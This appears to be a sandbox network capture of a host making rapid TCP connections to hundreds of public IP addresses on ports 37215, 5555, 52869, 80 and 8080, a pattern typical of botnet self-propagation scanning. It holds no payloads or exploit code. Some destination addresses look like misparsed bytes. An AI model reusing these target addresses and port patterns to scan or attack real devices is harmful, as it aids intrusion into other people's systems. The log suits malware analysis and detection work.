Feb 12, 2023 21:24:39.664498091 CET	52981	37215	192.168.2.23	41.8.196.60
Feb 12, 2023 21:24:39.664524078 CET	52981	37215	192.168.2.23	197.199.37.54
Feb 12, 2023 21:24:39.664526939 CET	52981	37215	192.168.2.23	196.44.73.77
Feb 12, 2023 21:24:39.664527893 CET	52981	37215	192.168.2.23	24.183.189.131
Feb 12, 2023 21:24:39.664542913 CET	52981	37215	192.168.2.23	121.195.247.36
Feb 12, 2023 21:24:39.664546967 CET	52981	37215	192.168.2.23	41.99.237.16
Feb 12, 2023 21:24:39.664563894 CET	52981	37215	192.168.2.23	197.182.173.164
Feb 12, 2023 21:24:39.664572001 CET	52981	37215	192.168.2.23	41.100.119.87
Feb 12, 2023 21:24:39.664587975 CET	52981	37215	192.168.2.23	157.17.214.18
Feb 12, 2023 21:24:39.664597988 CET	52981	37215	192.168.2.23	157.232.224.37
Feb 12, 2023 21:24:39.664613008 CET	52981	37215	192.168.2.23	120.229.225.125
Feb 12, 2023 21:24:39.664632082 CET	52981	37215	192.168.2.23	197.133.20.94
Feb 12, 2023 21:24:39.664653063 CET	52981	37215	192.168.2.23	197.129.29.16
Feb 12, 2023 21:24:39.664658070 CET	52981	37215	192.168.2.23	197.19.140.100
Feb 12, 2023 21:24:39.664680958 CET	52981	37215	192.168.2.23	157.56.195.225
Feb 12, 2023 21:24:39.664680958 CET	52981	37215	192.168.2.23	197.165.202.67
Feb 12, 2023 21:24:39.664680958 CET	52981	37215	192.168.2.23	150.28.249.116
Feb 12, 2023 21:24:39.664690971 CET	52981	37215	192.168.2.23	197.168.177.155
Feb 12, 2023 21:24:39.664714098 CET	52981	37215	192.168.2.23	197.33.19.173
Feb 12, 2023 21:24:39.664720058 CET	52981	37215	192.168.2.23	197.141.85.162
Feb 12, 2023 21:24:39.664745092 CET	52981	37215	192.168.2.23	41.92.206.251
Feb 12, 2023 21:24:39.664752007 CET	52981	37215	192.168.2.23	157.52.100.185
Feb 12, 2023 21:24:39.664763927 CET	52981	37215	192.168.2.23	157.211.139.191
Feb 12, 2023 21:24:39.664777994 CET	52981	37215	192.168.2.23	157.2.111.216
Feb 12, 2023 21:24:39.664808989 CET	52981	37215	192.168.2.23	41.23.241.167
Feb 12, 2023 21:24:39.664808989 CET	52981	37215	192.168.2.23	211.243.17.156
Feb 12, 2023 21:24:39.664844036 CET	52981	37215	192.168.2.23	41.91.62.125
Feb 12, 2023 21:24:39.664851904 CET	52981	37215	192.168.2.23	164.232.62.169
Feb 12, 2023 21:24:39.664854050 CET	52981	37215	192.168.2.23	41.177.101.149
Feb 12, 2023 21:24:39.664860010 CET	52981	37215	192.168.2.23	157.190.119.126
Feb 12, 2023 21:24:39.664865017 CET	52981	37215	192.168.2.23	41.83.124.32
Feb 12, 2023 21:24:39.664865017 CET	52981	37215	192.168.2.23	41.7.223.117
Feb 12, 2023 21:24:39.664865017 CET	52981	37215	192.168.2.23	36.224.207.207
Feb 12, 2023 21:24:39.664874077 CET	52981	37215	192.168.2.23	27.77.192.241
Feb 12, 2023 21:24:39.664877892 CET	52981	37215	192.168.2.23	157.242.243.37
Feb 12, 2023 21:24:39.664894104 CET	52981	37215	192.168.2.23	41.25.31.217
Feb 12, 2023 21:24:39.664896011 CET	52981	37215	192.168.2.23	156.214.42.163
Feb 12, 2023 21:24:39.664937019 CET	52981	37215	192.168.2.23	50.163.28.172
Feb 12, 2023 21:24:39.664937019 CET	52981	37215	192.168.2.23	197.200.218.156
Feb 12, 2023 21:24:39.664938927 CET	52981	37215	192.168.2.23	157.182.121.175
Feb 12, 2023 21:24:39.664942026 CET	52981	37215	192.168.2.23	41.196.17.218
Feb 12, 2023 21:24:39.664943933 CET	52981	37215	192.168.2.23	114.244.80.244
Feb 12, 2023 21:24:39.664953947 CET	52981	37215	192.168.2.23	110.208.79.211
Feb 12, 2023 21:24:39.664956093 CET	52981	37215	192.168.2.23	41.32.184.111
Feb 12, 2023 21:24:39.664971113 CET	52981	37215	192.168.2.23	157.157.235.191
Feb 12, 2023 21:24:39.664971113 CET	52981	37215	192.168.2.23	41.50.230.94
Feb 12, 2023 21:24:39.664971113 CET	52981	37215	192.168.2.23	41.108.3.156
Feb 12, 2023 21:24:39.665030956 CET	52981	37215	192.168.2.23	41.207.155.68
Feb 12, 2023 21:24:39.665033102 CET	52981	37215	192.168.2.23	199.66.239.58
Feb 12, 2023 21:24:39.665038109 CET	52981	37215	192.168.2.23	157.83.19.179
Feb 12, 2023 21:24:39.665038109 CET	52981	37215	192.168.2.23	157.8.19.49
Feb 12, 2023 21:24:39.665047884 CET	52981	37215	192.168.2.23	197.175.155.219
Feb 12, 2023 21:24:39.665047884 CET	52981	37215	192.168.2.23	157.45.55.136
Feb 12, 2023 21:24:39.665047884 CET	52981	37215	192.168.2.23	197.237.159.61
Feb 12, 2023 21:24:39.665047884 CET	52981	37215	192.168.2.23	197.235.160.89
Feb 12, 2023 21:24:39.665050983 CET	52981	37215	192.168.2.23	163.68.202.86
Feb 12, 2023 21:24:39.665056944 CET	52981	37215	192.168.2.23	157.117.247.168
Feb 12, 2023 21:24:39.665062904 CET	52981	37215	192.168.2.23	41.233.73.211
Feb 12, 2023 21:24:39.665066957 CET	52981	37215	192.168.2.23	197.65.90.212
Feb 12, 2023 21:24:39.665107012 CET	52981	37215	192.168.2.23	157.151.231.126
Feb 12, 2023 21:24:39.665110111 CET	52981	37215	192.168.2.23	41.120.165.169
Feb 12, 2023 21:24:39.665111065 CET	52981	37215	192.168.2.23	41.64.88.106
Feb 12, 2023 21:24:39.665111065 CET	52981	37215	192.168.2.23	71.247.187.190
Feb 12, 2023 21:24:39.665111065 CET	52981	37215	192.168.2.23	197.238.169.47
Feb 12, 2023 21:24:39.665111065 CET	52981	37215	192.168.2.23	41.208.211.93
Feb 12, 2023 21:24:39.665116072 CET	52981	37215	192.168.2.23	197.5.33.172
Feb 12, 2023 21:24:39.665117979 CET	52981	37215	192.168.2.23	123.36.164.13
Feb 12, 2023 21:24:39.665118933 CET	52981	37215	192.168.2.23	75.124.85.64
Feb 12, 2023 21:24:39.665118933 CET	52981	37215	192.168.2.23	91.107.178.93
Feb 12, 2023 21:24:39.665118933 CET	52981	37215	192.168.2.23	112.171.161.94
Feb 12, 2023 21:24:39.665127993 CET	52981	37215	192.168.2.23	201.233.38.249
Feb 12, 2023 21:24:39.665118933 CET	52981	37215	192.168.2.23	197.174.244.99
Feb 12, 2023 21:24:39.665131092 CET	52981	37215	192.168.2.23	45.35.175.131
Feb 12, 2023 21:24:39.665143967 CET	52981	37215	192.168.2.23	41.65.38.92
Feb 12, 2023 21:24:39.665143967 CET	52981	37215	192.168.2.23	41.226.58.157
Feb 12, 2023 21:24:39.665150881 CET	52981	37215	192.168.2.23	197.239.185.161
Feb 12, 2023 21:24:39.665150881 CET	52981	37215	192.168.2.23	41.107.247.161
Feb 12, 2023 21:24:39.665163040 CET	52981	37215	192.168.2.23	157.249.231.253
Feb 12, 2023 21:24:39.665173054 CET	52981	37215	192.168.2.23	41.55.67.8
Feb 12, 2023 21:24:39.665183067 CET	52981	37215	192.168.2.23	157.112.166.61
Feb 12, 2023 21:24:39.665205956 CET	52981	37215	192.168.2.23	41.96.45.226
Feb 12, 2023 21:24:39.665205956 CET	52981	37215	192.168.2.23	197.164.127.116
Feb 12, 2023 21:24:39.665229082 CET	52981	37215	192.168.2.23	197.64.62.176
Feb 12, 2023 21:24:39.665229082 CET	52981	37215	192.168.2.23	157.181.121.208
Feb 12, 2023 21:24:39.665246964 CET	52981	37215	192.168.2.23	197.251.86.211
Feb 12, 2023 21:24:39.665286064 CET	52981	37215	192.168.2.23	41.146.3.2
Feb 12, 2023 21:24:39.665293932 CET	52981	37215	192.168.2.23	197.253.45.97
Feb 12, 2023 21:24:39.665297985 CET	52981	37215	192.168.2.23	41.165.53.97
Feb 12, 2023 21:24:39.665338993 CET	52981	37215	192.168.2.23	41.98.228.213
Feb 12, 2023 21:24:39.665339947 CET	52981	37215	192.168.2.23	157.198.13.42
Feb 12, 2023 21:24:39.665344954 CET	52981	37215	192.168.2.23	197.45.206.41
Feb 12, 2023 21:24:39.665344954 CET	52981	37215	192.168.2.23	77.68.70.141
Feb 12, 2023 21:24:39.665344954 CET	52981	37215	192.168.2.23	68.179.63.127
Feb 12, 2023 21:24:39.665344954 CET	52981	37215	192.168.2.23	88.16.147.218
Feb 12, 2023 21:24:39.665344954 CET	52981	37215	192.168.2.23	197.193.251.30
Feb 12, 2023 21:24:39.665352106 CET	52981	37215	192.168.2.23	197.26.74.109
Feb 12, 2023 21:24:39.665352106 CET	52981	37215	192.168.2.23	197.143.175.182
Feb 12, 2023 21:24:39.665358067 CET	52981	37215	192.168.2.23	197.45.159.98
Feb 12, 2023 21:24:39.665359020 CET	52981	37215	192.168.2.23	41.156.29.236
Feb 12, 2023 21:24:39.665400028 CET	52981	37215	192.168.2.23	112.51.136.50
Feb 12, 2023 21:24:39.665411949 CET	52981	37215	192.168.2.23	197.211.17.14
Feb 12, 2023 21:24:39.665411949 CET	52981	37215	192.168.2.23	41.197.7.173
Feb 12, 2023 21:24:39.665412903 CET	52981	37215	192.168.2.23	41.170.149.122
Feb 12, 2023 21:24:39.665411949 CET	52981	37215	192.168.2.23	157.51.135.54
Feb 12, 2023 21:24:39.665415049 CET	52981	37215	192.168.2.23	157.122.223.238
Feb 12, 2023 21:24:39.665415049 CET	52981	37215	192.168.2.23	157.250.196.182
Feb 12, 2023 21:24:39.665415049 CET	52981	37215	192.168.2.23	197.63.171.209
Feb 12, 2023 21:24:39.665416002 CET	52981	37215	192.168.2.23	41.178.99.81
Feb 12, 2023 21:24:39.665415049 CET	52981	37215	192.168.2.23	181.175.27.58
Feb 12, 2023 21:24:39.665415049 CET	52981	37215	192.168.2.23	157.22.144.133
Feb 12, 2023 21:24:39.665420055 CET	52981	37215	192.168.2.23	197.138.220.21
Feb 12, 2023 21:24:39.665420055 CET	52981	37215	192.168.2.23	157.252.246.76
Feb 12, 2023 21:24:39.665421009 CET	52981	37215	192.168.2.23	41.233.165.245
Feb 12, 2023 21:24:39.665420055 CET	52981	37215	192.168.2.23	157.136.192.67
Feb 12, 2023 21:24:39.665421009 CET	52981	37215	192.168.2.23	197.106.16.208
Feb 12, 2023 21:24:39.665494919 CET	52981	37215	192.168.2.23	157.179.26.188
Feb 12, 2023 21:24:39.665494919 CET	52981	37215	192.168.2.23	197.114.235.148
Feb 12, 2023 21:24:39.665498972 CET	52981	37215	192.168.2.23	197.93.159.255
Feb 12, 2023 21:24:39.665498972 CET	52981	37215	192.168.2.23	157.245.89.59
Feb 12, 2023 21:24:39.665498972 CET	52981	37215	192.168.2.23	157.223.49.187
Feb 12, 2023 21:24:39.665499926 CET	52981	37215	192.168.2.23	197.8.248.157
Feb 12, 2023 21:24:39.665499926 CET	52981	37215	192.168.2.23	197.110.125.100
Feb 12, 2023 21:24:39.665502071 CET	52981	37215	192.168.2.23	141.241.43.149
Feb 12, 2023 21:24:39.665502071 CET	52981	37215	192.168.2.23	157.210.98.172
Feb 12, 2023 21:24:39.665503025 CET	52981	37215	192.168.2.23	197.18.135.237
Feb 12, 2023 21:24:39.665502071 CET	52981	37215	192.168.2.23	157.192.239.55
Feb 12, 2023 21:24:39.665503025 CET	52981	37215	192.168.2.23	162.113.172.77
Feb 12, 2023 21:24:39.665502071 CET	52981	37215	192.168.2.23	192.177.110.139
Feb 12, 2023 21:24:39.665503025 CET	52981	37215	192.168.2.23	197.119.26.87
Feb 12, 2023 21:24:39.665503025 CET	52981	37215	192.168.2.23	157.136.141.210
Feb 12, 2023 21:24:39.665503025 CET	52981	37215	192.168.2.23	197.113.128.83
Feb 12, 2023 21:24:39.665503025 CET	52981	37215	192.168.2.23	218.132.74.123
Feb 12, 2023 21:24:39.665503025 CET	52981	37215	192.168.2.23	31.13.32.111
Feb 12, 2023 21:24:39.665508986 CET	52981	37215	192.168.2.23	157.208.36.0
Feb 12, 2023 21:24:39.665508986 CET	52981	37215	192.168.2.23	197.182.3.20
Feb 12, 2023 21:24:39.665508986 CET	52981	37215	192.168.2.23	41.192.0.233
Feb 12, 2023 21:24:39.665508986 CET	52981	37215	192.168.2.23	197.121.72.139
Feb 12, 2023 21:24:39.665517092 CET	52981	37215	192.168.2.23	125.51.2.18
Feb 12, 2023 21:24:39.665517092 CET	52981	37215	192.168.2.23	140.100.243.229
Feb 12, 2023 21:24:39.665591002 CET	52981	37215	192.168.2.23	116.113.37.117
Feb 12, 2023 21:24:39.665591002 CET	52981	37215	192.168.2.23	189.109.23.210
Feb 12, 2023 21:24:39.665601015 CET	52981	37215	192.168.2.23	41.249.250.238
Feb 12, 2023 21:24:39.665601015 CET	52981	37215	192.168.2.23	157.1.229.109
Feb 12, 2023 21:24:39.665601015 CET	52981	37215	192.168.2.23	197.156.16.44
Feb 12, 2023 21:24:39.665601015 CET	52981	37215	192.168.2.23	157.163.176.197
Feb 12, 2023 21:24:39.665601015 CET	52981	37215	192.168.2.23	115.212.91.106
Feb 12, 2023 21:24:39.665604115 CET	52981	37215	192.168.2.23	159.219.241.120
Feb 12, 2023 21:24:39.665604115 CET	52981	37215	192.168.2.23	41.242.158.32
Feb 12, 2023 21:24:39.665604115 CET	52981	37215	192.168.2.23	41.247.181.178
Feb 12, 2023 21:24:39.665606022 CET	52981	37215	192.168.2.23	41.157.39.27
Feb 12, 2023 21:24:39.665604115 CET	52981	37215	192.168.2.23	41.200.149.7
Feb 12, 2023 21:24:39.665604115 CET	52981	37215	192.168.2.23	197.192.244.102
Feb 12, 2023 21:24:39.665606022 CET	52981	37215	192.168.2.23	85.224.38.145
Feb 12, 2023 21:24:39.665604115 CET	52981	37215	192.168.2.23	41.224.176.174
Feb 12, 2023 21:24:39.665604115 CET	52981	37215	192.168.2.23	41.9.150.151
Feb 12, 2023 21:24:39.665607929 CET	52981	37215	192.168.2.23	41.246.87.77
Feb 12, 2023 21:24:39.665607929 CET	52981	37215	192.168.2.23	41.218.77.46
Feb 12, 2023 21:24:39.665607929 CET	52981	37215	192.168.2.23	157.87.147.87
Feb 12, 2023 21:24:39.665608883 CET	52981	37215	192.168.2.23	157.43.92.196
Feb 12, 2023 21:24:39.665608883 CET	52981	37215	192.168.2.23	197.23.145.232
Feb 12, 2023 21:24:39.665608883 CET	52981	37215	192.168.2.23	72.97.173.35
Feb 12, 2023 21:24:39.665617943 CET	52981	37215	192.168.2.23	197.20.113.222
Feb 12, 2023 21:24:39.665618896 CET	52981	37215	192.168.2.23	161.166.102.251
Feb 12, 2023 21:24:39.665618896 CET	52981	37215	192.168.2.23	157.207.153.158
Feb 12, 2023 21:24:39.665617943 CET	52981	37215	192.168.2.23	41.222.216.77
Feb 12, 2023 21:24:39.665618896 CET	52981	37215	192.168.2.23	197.103.144.44
Feb 12, 2023 21:24:39.665618896 CET	52981	37215	192.168.2.23	157.115.227.145
Feb 12, 2023 21:24:39.665617943 CET	52981	37215	192.168.2.23	193.214.63.171
Feb 12, 2023 21:24:39.665693045 CET	52981	37215	192.168.2.23	41.10.21.50
Feb 12, 2023 21:24:39.665693045 CET	52981	37215	192.168.2.23	197.15.224.13
Feb 12, 2023 21:24:39.665693045 CET	52981	37215	192.168.2.23	197.179.229.248
Feb 12, 2023 21:24:39.665694952 CET	52981	37215	192.168.2.23	85.170.126.221
Feb 12, 2023 21:24:39.665693045 CET	52981	37215	192.168.2.23	54.124.24.115
Feb 12, 2023 21:24:39.665694952 CET	52981	37215	192.168.2.23	41.30.170.82
Feb 12, 2023 21:24:39.665693045 CET	52981	37215	192.168.2.23	202.137.113.2
Feb 12, 2023 21:24:39.665694952 CET	52981	37215	192.168.2.23	197.162.215.173
Feb 12, 2023 21:24:39.665693045 CET	52981	37215	192.168.2.23	57.73.225.93
Feb 12, 2023 21:24:39.665694952 CET	52981	37215	192.168.2.23	197.108.128.255
Feb 12, 2023 21:24:39.665702105 CET	52981	37215	192.168.2.23	188.229.17.47
Feb 12, 2023 21:24:39.665702105 CET	52981	37215	192.168.2.23	197.219.246.131
Feb 12, 2023 21:24:39.665704012 CET	52981	37215	192.168.2.23	197.188.165.0
Feb 12, 2023 21:24:39.665702105 CET	52981	37215	192.168.2.23	183.159.253.172
Feb 12, 2023 21:24:39.665693045 CET	52981	37215	192.168.2.23	32.148.112.73
Feb 12, 2023 21:24:39.665704012 CET	52981	37215	192.168.2.23	197.221.198.2
Feb 12, 2023 21:24:39.665702105 CET	52981	37215	192.168.2.23	157.54.59.235
Feb 12, 2023 21:24:39.665708065 CET	52981	37215	192.168.2.23	157.77.115.221
Feb 12, 2023 21:24:39.665694952 CET	52981	37215	192.168.2.23	41.244.57.13
Feb 12, 2023 21:24:39.665705919 CET	52981	37215	192.168.2.23	41.192.218.17
Feb 12, 2023 21:24:39.665709019 CET	52981	37215	192.168.2.23	41.234.43.107
Feb 12, 2023 21:24:39.665709019 CET	52981	37215	192.168.2.23	41.26.171.159
Feb 12, 2023 21:24:39.665709019 CET	52981	37215	192.168.2.23	41.106.64.194
Feb 12, 2023 21:24:39.665707111 CET	52981	37215	192.168.2.23	157.57.31.233
Feb 12, 2023 21:24:39.665707111 CET	52981	37215	192.168.2.23	24.209.231.101
Feb 12, 2023 21:24:39.665720940 CET	52981	37215	192.168.2.23	135.151.251.55
Feb 12, 2023 21:24:39.665720940 CET	52981	37215	192.168.2.23	157.189.38.170
Feb 12, 2023 21:24:39.665720940 CET	52981	37215	192.168.2.23	41.252.38.206
Feb 12, 2023 21:24:39.665720940 CET	52981	37215	192.168.2.23	41.77.107.243
Feb 12, 2023 21:24:39.665720940 CET	52981	37215	192.168.2.23	41.179.31.4
Feb 12, 2023 21:24:39.665720940 CET	52981	37215	192.168.2.23	197.41.221.4
Feb 12, 2023 21:24:39.665776968 CET	52981	37215	192.168.2.23	41.230.238.72
Feb 12, 2023 21:24:39.665776968 CET	52981	37215	192.168.2.23	197.100.127.127
Feb 12, 2023 21:24:39.665777922 CET	52981	37215	192.168.2.23	41.127.96.16
Feb 12, 2023 21:24:39.665776968 CET	52981	37215	192.168.2.23	41.184.16.122
Feb 12, 2023 21:24:39.665777922 CET	52981	37215	192.168.2.23	41.36.4.251
Feb 12, 2023 21:24:39.665781021 CET	52981	37215	192.168.2.23	41.173.56.3
Feb 12, 2023 21:24:39.665781021 CET	52981	37215	192.168.2.23	206.92.153.255
Feb 12, 2023 21:24:39.665782928 CET	52981	37215	192.168.2.23	81.26.83.66
Feb 12, 2023 21:24:39.665786028 CET	52981	37215	192.168.2.23	157.14.47.165
Feb 12, 2023 21:24:39.665786982 CET	52981	37215	192.168.2.23	197.157.45.141
Feb 12, 2023 21:24:39.665786028 CET	52981	37215	192.168.2.23	197.161.33.168
Feb 12, 2023 21:24:39.665786982 CET	52981	37215	192.168.2.23	207.72.195.143
Feb 12, 2023 21:24:39.665786028 CET	52981	37215	192.168.2.23	17.255.170.69
Feb 12, 2023 21:24:39.665786028 CET	52981	37215	192.168.2.23	197.187.19.139
Feb 12, 2023 21:24:39.665819883 CET	52981	37215	192.168.2.23	157.120.44.155
Feb 12, 2023 21:24:39.665819883 CET	52981	37215	192.168.2.23	197.89.35.62
Feb 12, 2023 21:24:39.665819883 CET	52981	37215	192.168.2.23	157.50.185.106
Feb 12, 2023 21:24:39.665819883 CET	52981	37215	192.168.2.23	50.197.138.51
Feb 12, 2023 21:24:39.665821075 CET	52981	37215	192.168.2.23	103.101.40.29
Feb 12, 2023 21:24:39.665841103 CET	52981	37215	192.168.2.23	187.51.145.228
Feb 12, 2023 21:24:39.665821075 CET	52981	37215	192.168.2.23	41.4.212.38
Feb 12, 2023 21:24:39.665841103 CET	52981	37215	192.168.2.23	157.35.178.60
Feb 12, 2023 21:24:39.665821075 CET	52981	37215	192.168.2.23	197.6.131.47
Feb 12, 2023 21:24:39.665841103 CET	52981	37215	192.168.2.23	41.100.4.44
Feb 12, 2023 21:24:39.665846109 CET	52981	37215	192.168.2.23	197.234.66.184
Feb 12, 2023 21:24:39.665848017 CET	52981	37215	192.168.2.23	197.156.194.65
Feb 12, 2023 21:24:39.665848970 CET	52981	37215	192.168.2.23	157.82.123.81
Feb 12, 2023 21:24:39.665848017 CET	52981	37215	192.168.2.23	174.65.184.167
Feb 12, 2023 21:24:39.665849924 CET	52981	37215	192.168.2.23	41.35.55.195
Feb 12, 2023 21:24:39.665848970 CET	52981	37215	192.168.2.23	97.68.193.170
Feb 12, 2023 21:24:39.665852070 CET	52981	37215	192.168.2.23	99.212.233.108
Feb 12, 2023 21:24:39.665849924 CET	52981	37215	192.168.2.23	197.231.63.148
Feb 12, 2023 21:24:39.665852070 CET	52981	37215	192.168.2.23	157.17.188.131
Feb 12, 2023 21:24:39.665852070 CET	52981	37215	192.168.2.23	197.1.99.32
Feb 12, 2023 21:24:39.665870905 CET	38886	37215	192.168.2.23	197.197.154.150
Feb 12, 2023 21:24:39.665880919 CET	52981	37215	192.168.2.23	157.229.174.78
Feb 12, 2023 21:24:39.665880919 CET	52981	37215	192.168.2.23	197.34.254.111
Feb 12, 2023 21:24:39.665880919 CET	52981	37215	192.168.2.23	145.6.7.222
Feb 12, 2023 21:24:39.665885925 CET	52981	37215	192.168.2.23	157.203.228.123
Feb 12, 2023 21:24:39.665880919 CET	52981	37215	192.168.2.23	41.223.96.31
Feb 12, 2023 21:24:39.665880919 CET	52981	37215	192.168.2.23	197.72.137.89
Feb 12, 2023 21:24:39.665880919 CET	52981	37215	192.168.2.23	157.246.79.85
Feb 12, 2023 21:24:39.691777945 CET	37215	52981	91.107.178.93	192.168.2.23
Feb 12, 2023 21:24:39.695168972 CET	5555	22272	197.39.10.80	192.168.2.23
Feb 12, 2023 21:24:39.728297949 CET	54944	80	192.168.2.23	49.52.55.46
Feb 12, 2023 21:24:39.733695030 CET	37215	38886	197.197.154.150	192.168.2.23
Feb 12, 2023 21:24:39.734004021 CET	38886	37215	192.168.2.23	197.197.154.150
Feb 12, 2023 21:24:39.734138966 CET	38886	37215	192.168.2.23	197.197.154.150
Feb 12, 2023 21:24:39.734173059 CET	38886	37215	192.168.2.23	197.197.154.150
Feb 12, 2023 21:24:39.736629963 CET	5555	22272	104.227.70.82	192.168.2.23
Feb 12, 2023 21:24:39.761209965 CET	37215	52981	197.34.254.111	192.168.2.23
Feb 12, 2023 21:24:39.775688887 CET	37215	52981	157.245.89.59	192.168.2.23
Feb 12, 2023 21:24:39.788003922 CET	37215	52981	197.129.29.16	192.168.2.23
Feb 12, 2023 21:24:39.788111925 CET	52981	37215	192.168.2.23	197.129.29.16
Feb 12, 2023 21:24:39.789825916 CET	37215	52981	197.129.29.16	192.168.2.23
Feb 12, 2023 21:24:39.792221069 CET	47158	80	192.168.2.23	52.55.46.50
Feb 12, 2023 21:24:39.824232101 CET	38060	8080	192.168.2.23	52.55.46.50
Feb 12, 2023 21:24:39.841372013 CET	37215	52981	192.177.110.139	192.168.2.23
Feb 12, 2023 21:24:39.843147039 CET	37215	52981	41.23.241.167	192.168.2.23
Feb 12, 2023 21:24:39.850867987 CET	5555	22272	181.46.200.4	192.168.2.23
Feb 12, 2023 21:24:39.856237888 CET	44026	8080	192.168.2.23	49.53.53.46
Feb 12, 2023 21:24:39.865098000 CET	5555	22272	118.32.82.116	192.168.2.23
Feb 12, 2023 21:24:39.867564917 CET	5555	22272	121.133.11.183	192.168.2.23
Feb 12, 2023 21:24:39.869663954 CET	37215	52981	197.89.35.62	192.168.2.23
Feb 12, 2023 21:24:39.888253927 CET	49238	8080	192.168.2.23	49.57.55.46
Feb 12, 2023 21:24:39.920172930 CET	55892	8080	192.168.2.23	49.57.46.49
Feb 12, 2023 21:24:39.949634075 CET	48218	80	192.168.2.23	56.52.46.52
Feb 12, 2023 21:24:39.951306105 CET	60252	80	192.168.2.23	56.52.46.57
Feb 12, 2023 21:24:39.952105999 CET	37692	8080	192.168.2.23	50.48.56.46
Feb 12, 2023 21:24:39.952130079 CET	52990	8080	192.168.2.23	49.50.46.49
Feb 12, 2023 21:24:39.952754974 CET	37215	52981	157.112.166.61	192.168.2.23
Feb 12, 2023 21:24:39.952938080 CET	54954	80	192.168.2.23	54.50.46.50
Feb 12, 2023 21:24:39.954112053 CET	44612	80	192.168.2.23	56.52.46.49
Feb 12, 2023 21:24:39.955555916 CET	54958	80	192.168.2.23	54.50.46.50
Feb 12, 2023 21:24:39.957031965 CET	45950	80	192.168.2.23	56.57.46.49
Feb 12, 2023 21:24:39.961498976 CET	37215	52981	27.77.192.241	192.168.2.23
Feb 12, 2023 21:24:39.984208107 CET	55248	8080	192.168.2.23	49.56.57.46
Feb 12, 2023 21:24:40.011132956 CET	37215	52981	197.8.248.157	192.168.2.23
Feb 12, 2023 21:24:40.016202927 CET	34012	8080	192.168.2.23	49.49.53.46
Feb 12, 2023 21:24:40.016217947 CET	47252	8080	192.168.2.23	57.54.46.49
Feb 12, 2023 21:24:40.016221046 CET	38886	37215	192.168.2.23	197.197.154.150
Feb 12, 2023 21:24:40.016221046 CET	44204	49152	192.168.2.23	49.52.55.46
Feb 12, 2023 21:24:40.016221046 CET	47720	5555	192.168.2.23	49.50.57.46
Feb 12, 2023 21:24:40.048240900 CET	54932	8080	192.168.2.23	49.55.56.46
Feb 12, 2023 21:24:40.048297882 CET	55984	80	192.168.2.23	49.55.56.46
Feb 12, 2023 21:24:40.048326015 CET	60318	80	192.168.2.23	49.50.46.49
Feb 12, 2023 21:24:40.048326015 CET	39222	80	192.168.2.23	49.57.55.46
Feb 12, 2023 21:24:40.048332930 CET	50562	80	192.168.2.23	49.49.53.46
Feb 12, 2023 21:24:40.048362970 CET	44510	80	192.168.2.23	57.54.46.49
Feb 12, 2023 21:24:40.048383951 CET	50106	80	192.168.2.23	49.53.53.46
Feb 12, 2023 21:24:40.048403978 CET	42568	80	192.168.2.23	49.56.57.46
Feb 12, 2023 21:24:40.048413992 CET	45020	80	192.168.2.23	49.57.46.49
Feb 12, 2023 21:24:40.048458099 CET	45644	80	192.168.2.23	50.48.56.46
Feb 12, 2023 21:24:40.259088993 CET	37492	52869	192.168.2.23	49.57.56.46
Feb 12, 2023 21:24:40.260679960 CET	48792	52869	192.168.2.23	55.50.46.50
Feb 12, 2023 21:24:40.261904955 CET	45850	52869	192.168.2.23	57.53.46.57
Feb 12, 2023 21:24:40.263154030 CET	36480	52869	192.168.2.23	54.46.49.52
Feb 12, 2023 21:24:40.264760971 CET	58102	52869	192.168.2.23	49.55.50.46
Feb 12, 2023 21:24:40.265955925 CET	52134	52869	192.168.2.23	50.49.46.49
Feb 12, 2023 21:24:40.267174006 CET	49188	52869	192.168.2.23	49.56.57.46
Feb 12, 2023 21:24:40.268635988 CET	43004	52869	192.168.2.23	49.56.53.46
Feb 12, 2023 21:24:40.269778967 CET	34592	52869	192.168.2.23	49.57.51.46
Feb 12, 2023 21:24:40.270891905 CET	33538	52869	192.168.2.23	56.46.50.53
Feb 12, 2023 21:24:40.336167097 CET	60984	8080	192.168.2.23	49.52.55.46
Feb 12, 2023 21:24:40.400162935 CET	49840	37215	192.168.2.23	52.55.46.50
Feb 12, 2023 21:24:40.464191914 CET	45100	37215	192.168.2.23	49.53.53.46
Feb 12, 2023 21:24:40.496157885 CET	53914	37215	192.168.2.23	49.57.55.46
Feb 12, 2023 21:24:40.528168917 CET	48090	37215	192.168.2.23	49.57.46.49
Feb 12, 2023 21:24:40.528168917 CET	47492	37215	192.168.2.23	49.50.46.49
Feb 12, 2023 21:24:40.582505941 CET	44028	8080	192.168.2.23	49.51.46.50
Feb 12, 2023 21:24:40.588092089 CET	50446	8080	192.168.2.23	49.50.51.46
Feb 12, 2023 21:24:40.595592976 CET	46264	8080	192.168.2.23	54.50.46.49
Feb 12, 2023 21:24:40.596059084 CET	38886	37215	192.168.2.23	197.197.154.150
Feb 12, 2023 21:24:40.602974892 CET	22272	5555	192.168.2.23	58.228.111.129
Feb 12, 2023 21:24:40.602976084 CET	22272	5555	192.168.2.23	94.109.163.24
Feb 12, 2023 21:24:40.603015900 CET	22272	5555	192.168.2.23	150.146.52.46
Feb 12, 2023 21:24:40.603025913 CET	22272	5555	192.168.2.23	62.116.133.213
Feb 12, 2023 21:24:40.603038073 CET	22272	5555	192.168.2.23	47.69.143.191
Feb 12, 2023 21:24:40.603050947 CET	22272	5555	192.168.2.23	194.197.239.118
Feb 12, 2023 21:24:40.603058100 CET	22272	5555	192.168.2.23	195.244.210.22
Feb 12, 2023 21:24:40.603064060 CET	22272	5555	192.168.2.23	90.206.198.192
Feb 12, 2023 21:24:40.603070974 CET	22272	5555	192.168.2.23	52.230.109.195
Feb 12, 2023 21:24:40.603086948 CET	22272	5555	192.168.2.23	51.181.108.204
Feb 12, 2023 21:24:40.603127003 CET	22272	5555	192.168.2.23	89.16.107.157
Feb 12, 2023 21:24:40.603133917 CET	22272	5555	192.168.2.23	170.161.72.228
Feb 12, 2023 21:24:40.603226900 CET	22272	5555	192.168.2.23	132.124.203.164
Feb 12, 2023 21:24:40.603251934 CET	22272	5555	192.168.2.23	17.37.40.1
Feb 12, 2023 21:24:40.603339911 CET	22272	5555	192.168.2.23	18.70.181.126
Feb 12, 2023 21:24:40.603338003 CET	22272	5555	192.168.2.23	34.82.11.54
Feb 12, 2023 21:24:40.603358984 CET	22272	5555	192.168.2.23	74.220.122.49
Feb 12, 2023 21:24:40.603362083 CET	22272	5555	192.168.2.23	57.52.78.241
Feb 12, 2023 21:24:40.603380919 CET	22272	5555	192.168.2.23	169.189.184.156
Feb 12, 2023 21:24:40.603410959 CET	22272	5555	192.168.2.23	43.66.215.200
Feb 12, 2023 21:24:40.603410959 CET	22272	5555	192.168.2.23	196.184.131.14
